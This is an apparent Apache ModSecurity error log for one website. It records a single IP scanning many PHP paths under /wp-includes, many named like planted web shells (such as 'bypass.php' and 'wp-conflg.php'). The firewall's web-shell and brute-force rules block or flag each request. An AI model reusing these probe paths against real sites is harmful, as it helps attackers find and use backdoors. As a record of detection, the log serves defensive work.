[Wed Apr 08 04:44:42.344142 2026] [:error] [pid 47732:tid 47737] [client 188.95.54.39:56672] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/security.php"] [unique_id "adVsuom4N5QW9Mh7G10XDgAAAMM"]
[Wed Apr 08 04:44:43.390351 2026] [:error] [pid 47627:tid 47701] [client 188.95.54.39:58976] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-language-pack.php"] [unique_id "adVsu3Oljf1Quv_kDjl63wAAAII"]
[Wed Apr 08 04:44:44.168619 2026] [:error] [pid 16630:tid 16636] [client 188.95.54.39:58982] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-walker-comment-client.php"] [unique_id "adVsvCjfVAkPG-jgJEpkywAAAQQ"]
[Wed Apr 08 04:44:45.998484 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:58986] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-network-query-stat.php"] [unique_id "adVsvSjfVAkPG-jgJEpk3QAAAQc"]
[Wed Apr 08 04:44:47.039713 2026] [:error] [pid 47625:tid 47634] [client 188.95.54.39:58996] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-session-tokens-https.php"] [unique_id "adVsvyVuHyNWzZlE8PDqnQAAAAA"]
[Wed Apr 08 04:44:48.085023 2026] [:error] [pid 47626:tid 47692] [client 188.95.54.39:59000] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/lrs_dage.php"] [unique_id "adVswKjWI8TWtHx2sdbrvQAAAFg"]
[Wed Apr 08 04:44:48.861974 2026] [:error] [pid 16630:tid 16632] [client 188.95.54.39:59004] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/as.php"] [unique_id "adVswCjfVAkPG-jgJEpk7QAAAQA"]
[Wed Apr 08 04:44:49.638891 2026] [:error] [pid 47627:tid 47703] [client 188.95.54.39:59018] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/wp-conflg.php"] [unique_id "adVswXOljf1Quv_kDjl65gAAAIQ"]
[Wed Apr 08 04:44:50.163637 2026] [:error] [pid 47627:tid 47721] [client 188.95.54.39:59020] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/install.php"] [unique_id "adVswnOljf1Quv_kDjl66wAAAJY"]
[Wed Apr 08 04:44:50.680850 2026] [:error] [pid 47627:tid 47720] [client 188.95.54.39:59036] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/customize/db.php"] [unique_id "adVswnOljf1Quv_kDjl67gAAAJU"]
[Wed Apr 08 04:44:52.761164 2026] [:error] [pid 16630:tid 16644] [client 188.95.54.39:59052] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/thickbox/about.php"] [unique_id "adVsxCjfVAkPG-jgJEplBwAAAQw"]
[Wed Apr 08 04:44:54.074827 2026] [:error] [pid 47732:tid 47742] [client 188.95.54.39:37394] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rk2.php"] [unique_id "adVsxom4N5QW9Mh7G10XSQAAAMg"]
[Wed Apr 08 04:44:55.116915 2026] [:error] [pid 47732:tid 47749] [client 188.95.54.39:37396] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/past.php"] [unique_id "adVsx4m4N5QW9Mh7G10XWAAAAM8"]
[Wed Apr 08 04:44:56.165909 2026] [:error] [pid 47626:tid 47678] [client 188.95.54.39:37404] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/edit-tags.php"] [unique_id "adVsyKjWI8TWtHx2sdbrwgAAAEo"]
[Wed Apr 08 04:44:58.000933 2026] [:error] [pid 47732:tid 47739] [client 188.95.54.39:37414] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/footer-default.php"] [unique_id "adVsyom4N5QW9Mh7G10XeAAAAMU"]
[Wed Apr 08 04:44:58.782329 2026] [:error] [pid 47626:tid 47680] [client 188.95.54.39:37424] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-widget-meta-request.php"] [unique_id "adVsyqjWI8TWtHx2sdbrxQAAAEw"]
[Wed Apr 08 04:44:59.559874 2026] [:error] [pid 16630:tid 16649] [client 188.95.54.39:37430] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/css/dist/edit-widgets/bypass.php"] [unique_id "adVsyyjfVAkPG-jgJEplLwAAARE"]
[Wed Apr 08 04:45:00.611653 2026] [:error] [pid 16630:tid 16652] [client 188.95.54.39:37436] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/wp-login.php"] [unique_id "adVszCjfVAkPG-jgJEplOQAAARQ"]
[Wed Apr 08 04:45:03.247036 2026] [:error] [pid 16630:tid 16656] [client 188.95.54.39:37438] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/wp-ss.php"] [unique_id "adVszyjfVAkPG-jgJEplSQAAARg"]
[Wed Apr 08 04:45:03.779274 2026] [:error] [pid 16630:tid 16649] [client 188.95.54.39:50446] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/xsec1.php"] [unique_id "adVszyjfVAkPG-jgJEplTAAAARE"]
[Wed Apr 08 04:45:05.074284 2026] [:error] [pid 16630:tid 16656] [client 188.95.54.39:50452] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/crystal/sad.php"] [unique_id "adVs0SjfVAkPG-jgJEplWAAAARg"]
[Wed Apr 08 04:45:05.589291 2026] [:error] [pid 47732:tid 47755] [client 188.95.54.39:50462] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/script-loader-packages.min.php"] [unique_id "adVs0Ym4N5QW9Mh7G10XnQAAANU"]
[Wed Apr 08 04:45:06.640531 2026] [:error] [pid 47625:tid 47648] [client 188.95.54.39:50464] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-phpmailer-beta.php"] [unique_id "adVs0iVuHyNWzZlE8PDqtgAAAA4"]
[Wed Apr 08 04:45:07.157141 2026] [:error] [pid 47627:tid 47722] [client 188.95.54.39:50480] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/ms-file.php"] [unique_id "adVs03Oljf1Quv_kDjl7KwAAAJc"]
[Wed Apr 08 04:45:07.673792 2026] [:error] [pid 47627:tid 47713] [client 188.95.54.39:50496] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/acme-challenge/wp-login.php"] [unique_id "adVs03Oljf1Quv_kDjl7LwAAAI4"]
[Wed Apr 08 04:45:07.679010 2026] [proxy_fcgi:error] [pid 47627:tid 47713] [client 188.95.54.39:50496] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:45:07.937873 2026] [:error] [pid 47627:tid 47701] [client 188.95.54.39:50496] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/av.php"] [unique_id "adVs03Oljf1Quv_kDjl7MAAAAII"]
[Wed Apr 08 04:45:08.983847 2026] [:error] [pid 47627:tid 47709] [client 188.95.54.39:50510] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/autoload_classmap.php"] [unique_id "adVs1HOljf1Quv_kDjl7NQAAAIo"]
[Wed Apr 08 04:45:09.493574 2026] [:error] [pid 16630:tid 16634] [client 188.95.54.39:50522] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/network.php"] [unique_id "adVs1SjfVAkPG-jgJEpldgAAAQI"]
[Wed Apr 08 04:45:11.865338 2026] [:error] [pid 47627:tid 47717] [client 188.95.54.39:50534] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/SimplePie/XML/content.php"] [unique_id "adVs13Oljf1Quv_kDjl7RgAAAJI"]
[Wed Apr 08 04:45:12.387374 2026] [:error] [pid 47732:tid 47756] [client 188.95.54.39:50538] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/item.php"] [unique_id "adVs2Im4N5QW9Mh7G10XoAAAANY"]
[Wed Apr 08 04:45:13.448924 2026] [:error] [pid 16630:tid 16639] [client 188.95.54.39:58984] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/pomo/plugins.php"] [unique_id "adVs2SjfVAkPG-jgJEpligAAAQc"]
[Wed Apr 08 04:45:13.963119 2026] [:error] [pid 47625:tid 47648] [client 188.95.54.39:59000] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/install.php"] [unique_id "adVs2SVuHyNWzZlE8PDqvQAAAA4"]
[Wed Apr 08 04:45:14.482860 2026] [proxy_fcgi:error] [pid 47627:tid 47707] [client 188.95.54.39:59010] AH01071: Got error 'Primary script unknown'
[Wed Apr 08 04:45:14.737094 2026] [:error] [pid 47627:tid 47719] [client 188.95.54.39:59010] [client 188.95.54.39] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 188.95.54.39, incrementing brute counter"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/css/wp-login.php"] [unique_id "adVs2nOljf1Quv_kDjl7TAAAAJQ"]
[Wed Apr 08 04:45:15.253855 2026] [:error] [pid 47627:tid 47723] [client 188.95.54.39:59010] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/widgets/class-wp-nav-widgets.php"] [unique_id "adVs23Oljf1Quv_kDjl7UQAAAJg"]
[Wed Apr 08 04:45:16.553060 2026] [:error] [pid 16630:tid 16638] [client 188.95.54.39:59014] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/sitemaps/providers/doc.php"] [unique_id "adVs3CjfVAkPG-jgJEpllwAAAQY"]
[Wed Apr 08 04:45:17.333880 2026] [:error] [pid 16630:tid 16633] [client 188.95.54.39:59024] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/rest-api/1.php"] [unique_id "adVs3SjfVAkPG-jgJEplnQAAAQE"]
[Wed Apr 08 04:45:17.857868 2026] [:error] [pid 16630:tid 16651] [client 188.95.54.39:59036] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/fonts/class_api.php"] [unique_id "adVs3SjfVAkPG-jgJEploQAAARM"]
[Wed Apr 08 04:45:19.171571 2026] [:error] [pid 47626:tid 47684] [client 188.95.54.39:59046] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/images/smilies/admin.php"] [unique_id "adVs36jWI8TWtHx2sdbr6wAAAFA"]
[Wed Apr 08 04:45:20.216474 2026] [:error] [pid 47732:tid 47744] [client 188.95.54.39:59048] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/IXR/about.php"] [unique_id "adVs4Im4N5QW9Mh7G10XsgAAAMo"]
[Wed Apr 08 04:45:21.802127 2026] [:error] [pid 47626:tid 47686] [client 188.95.54.39:59064] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-customize-manager-interpreter.php"] [unique_id "adVs4ajWI8TWtHx2sdbr9wAAAFI"]
[Wed Apr 08 04:45:22.322735 2026] [:error] [pid 47625:tid 47639] [client 188.95.54.39:59078] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/bypass.php"] [unique_id "adVs4iVuHyNWzZlE8PDqxAAAAAU"]
[Wed Apr 08 04:45:23.103338 2026] [:error] [pid 47626:tid 47692] [client 188.95.54.39:36930] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/count.php"] [unique_id "adVs46jWI8TWtHx2sdbr-gAAAFg"]
[Wed Apr 08 04:45:25.194658 2026] [:error] [pid 16630:tid 16642] [client 188.95.54.39:36932] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/certificates/chosen.php"] [unique_id "adVs5SjfVAkPG-jgJEplzgAAAQo"]
[Wed Apr 08 04:45:26.246210 2026] [:error] [pid 47732:tid 47737] [client 188.95.54.39:36936] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 2). String match ".php" at REQUEST_FILENAME. [file "/usr/local/apache/modsecurity-cwaf/rules/24_Apps_Joomla.conf"] [line "74"] [id "240000"] [rev "1"] [msg "COMODO WAF: Protecting Joomla folder||measureyourbrand.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "Joomla"] [hostname "measureyourbrand.com.au"] [uri "/images/stories/themes.php"] [unique_id "adVs5om4N5QW9Mh7G10X4gAAAMM"]
[Wed Apr 08 04:45:26.507047 2026] [:error] [pid 47732:tid 47758] [client 188.95.54.39:36936] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/theme-compat/footer-embed-function.php"] [unique_id "adVs5om4N5QW9Mh7G10X5AAAANg"]
[Wed Apr 08 04:45:27.574324 2026] [:error] [pid 16630:tid 16638] [client 188.95.54.39:36950] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/l10n/class-wp-translation-file-mo-event.php"] [unique_id "adVs5yjfVAkPG-jgJEpl3QAAAQY"]
[Wed Apr 08 04:45:28.087337 2026] [:error] [pid 47627:tid 47704] [client 188.95.54.39:36964] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/vars-soap.php"] [unique_id "adVs6HOljf1Quv_kDjl7egAAAIU"]
[Wed Apr 08 04:45:30.197013 2026] [:error] [pid 47626:tid 47668] [client 188.95.54.39:36970] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/id3/wp-work.php"] [unique_id "adVs6qjWI8TWtHx2sdbsDQAAAEA"]
[Wed Apr 08 04:45:31.228751 2026] [:error] [pid 47625:tid 47657] [client 188.95.54.39:36982] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/class-wp-taxonomy.editor.php"] [unique_id "adVs6yVuHyNWzZlE8PDqzAAAABc"]
[Wed Apr 08 04:45:32.006592 2026] [:error] [pid 16630:tid 16634] [client 188.95.54.39:36996] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/js/wp-conflg.php"] [unique_id "adVs7CjfVAkPG-jgJEpl8gAAAQI"]
[Wed Apr 08 04:45:33.861969 2026] [:error] [pid 16630:tid 16650] [client 188.95.54.39:37008] [client 188.95.54.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/interactivity-api/interactivity-api-xml.php"] [unique_id "adVs7SjfVAkPG-jgJEpmBgAAARI"]
